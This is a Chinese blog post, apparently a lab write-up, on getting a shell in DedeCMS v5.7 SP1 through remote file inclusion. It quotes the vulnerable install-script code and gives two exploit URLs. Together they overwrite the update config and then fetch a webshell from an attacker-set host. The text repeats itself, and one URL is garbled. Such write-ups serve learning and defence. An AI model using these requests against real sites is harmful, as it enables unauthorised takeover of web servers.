dedecms-v5.7-sp1远程文件包含getshell
2016-12-13 14:13
1441 查看
前段时间自己搭了个dedecms-v5.7-sp1的靶机来练手,偶然在网上发现了一篇靠谱的文章,讲的是dedecms的一个远程文件包含getshell的方法,理解了以后决定自己再写出来,以加深印象~
利用条件:首先,是目标站安装完cms后并没有删除install文件夹,漏洞文件为\install\index.php.bak 。
其次,目标站点的Apache存在文件解析漏洞。即index.php.bak文件会被当做PHP脚本解析。
问题代码如下:
然而,$updateHost 变量是通过包含../data/admin/config_update.php这个文件获得的:
到此,不知各位看官是否意识到,我们可以利用index.php.bak文件 step 11中的代码,来在服务器上写入任意文件!
由于远程要包含文件的服务器地址是通过 $updateHost 控制的,那我们首先利用代码来改写../data/admin/config_update.php这个文件,使我们可以自定义 $updateHost的值,那样就可以引用任何我们想要引用的文件啦!
先提交这个请求url: http://192.168.0.129/install/index.php.bak?step=11&insLockfile=a&s_lang=x&install_demo_name=../data/admin/config_update.php
这会让代码直接跳到step 11开始执行,到dede的远程服务器http://updatenew.dedecms.com/base-v57/dedecms/demodata.x.txt中取内容,然后写入到config_update.php文件中去。
由于demodata.x.txt文件是不存在的,所以就会取到空内容写入 config_update.php这个文件中,自然$updateHost变量就可以由我们自定义了!
构造demodata.x.txt文件中的内容为我们需要的,比如一句话等,并放在远程服务器上(由于本地测试,所以还是放在本机上了):
然后再次提交请求: http://192.168.0.129/install/index.php.bak?step=11&insLockfile=a&s_lang=x&install_demo_name=../data/test.php&u 4000
pdateHost=http://192.168.0.129:700/
即可得到shell,目录为 ../data/test.php
OK,大功告成!
利用条件:首先,是目标站安装完cms后并没有删除install文件夹,漏洞文件为\install\index.php.bak 。
其次,目标站点的Apache存在文件解析漏洞。即index.php.bak文件会被当做PHP脚本解析。
问题代码如下:
else if($step==11) { require_once('../data/admin/config_update.php'); $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w'); if(fwrite($fp,$sql_content)) echo ' <font color="green">[√]</font> 存在(您可以选择安装进行体验)'; else echo ' <font color="red">[×]</font> 远程获取失败'; unset($sql_content); fclose($fp); exit(); }
然而,$updateHost 变量是通过包含../data/admin/config_update.php这个文件获得的:
到此,不知各位看官是否意识到,我们可以利用index.php.bak文件 step 11中的代码,来在服务器上写入任意文件!
由于远程要包含文件的服务器地址是通过 $updateHost 控制的,那我们首先利用代码来改写../data/admin/config_update.php这个文件,使我们可以自定义 $updateHost的值,那样就可以引用任何我们想要引用的文件啦!
先提交这个请求url: http://192.168.0.129/install/index.php.bak?step=11&insLockfile=a&s_lang=x&install_demo_name=../data/admin/config_update.php
这会让代码直接跳到step 11开始执行,到dede的远程服务器http://updatenew.dedecms.com/base-v57/dedecms/demodata.x.txt中取内容,然后写入到config_update.php文件中去。
由于demodata.x.txt文件是不存在的,所以就会取到空内容写入 config_update.php这个文件中,自然$updateHost变量就可以由我们自定义了!
构造demodata.x.txt文件中的内容为我们需要的,比如一句话等,并放在远程服务器上(由于本地测试,所以还是放在本机上了):
然后再次提交请求: http://192.168.0.129/install/index.php.bak?step=11&insLockfile=a&s_lang=x&install_demo_name=../data/test.php&u 4000
pdateHost=http://192.168.0.129:700/
即可得到shell,目录为 ../data/test.php
OK,大功告成!
相关文章推荐
- dedecms最新版本存在远程包含漏洞--可getshell
- rgboard 3.0.12 远程文件包含漏洞
- Phpcms 2007 远程文件包含漏洞
- 远程文件包含漏洞的利用
- 远程文件包含漏洞测试
- 是什么造成PHP远程文件包含漏洞产生
- php远程文件包含漏洞
- 织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
- WordPress ‘WP ecommerce Shop Styling’插件“dompdf” 远程文件包含漏洞
- Wordpress Gallery插件'load'参数远程文件包含漏洞
- DedeCms 5.x 本地文件包含漏洞(respond方法)
- Phpcms 2007 远程文件包含漏洞
- PHP 网络开发详解之远程文件包含漏洞
- PHP 网络开发详解之远程文件包含漏洞
- DedeCms 5.x 本地文件包含漏洞(respond方法)
- linux下scp远程拷贝包含空格的目录或者文件的解决方法
- Phpcms 2007 远程文件包含漏洞
- 详解远程文件包含漏洞
- dedecms栏目同步远程发布发生找不到源文件错误
- 织梦(Dedecms)V5.6 远程文件删除漏洞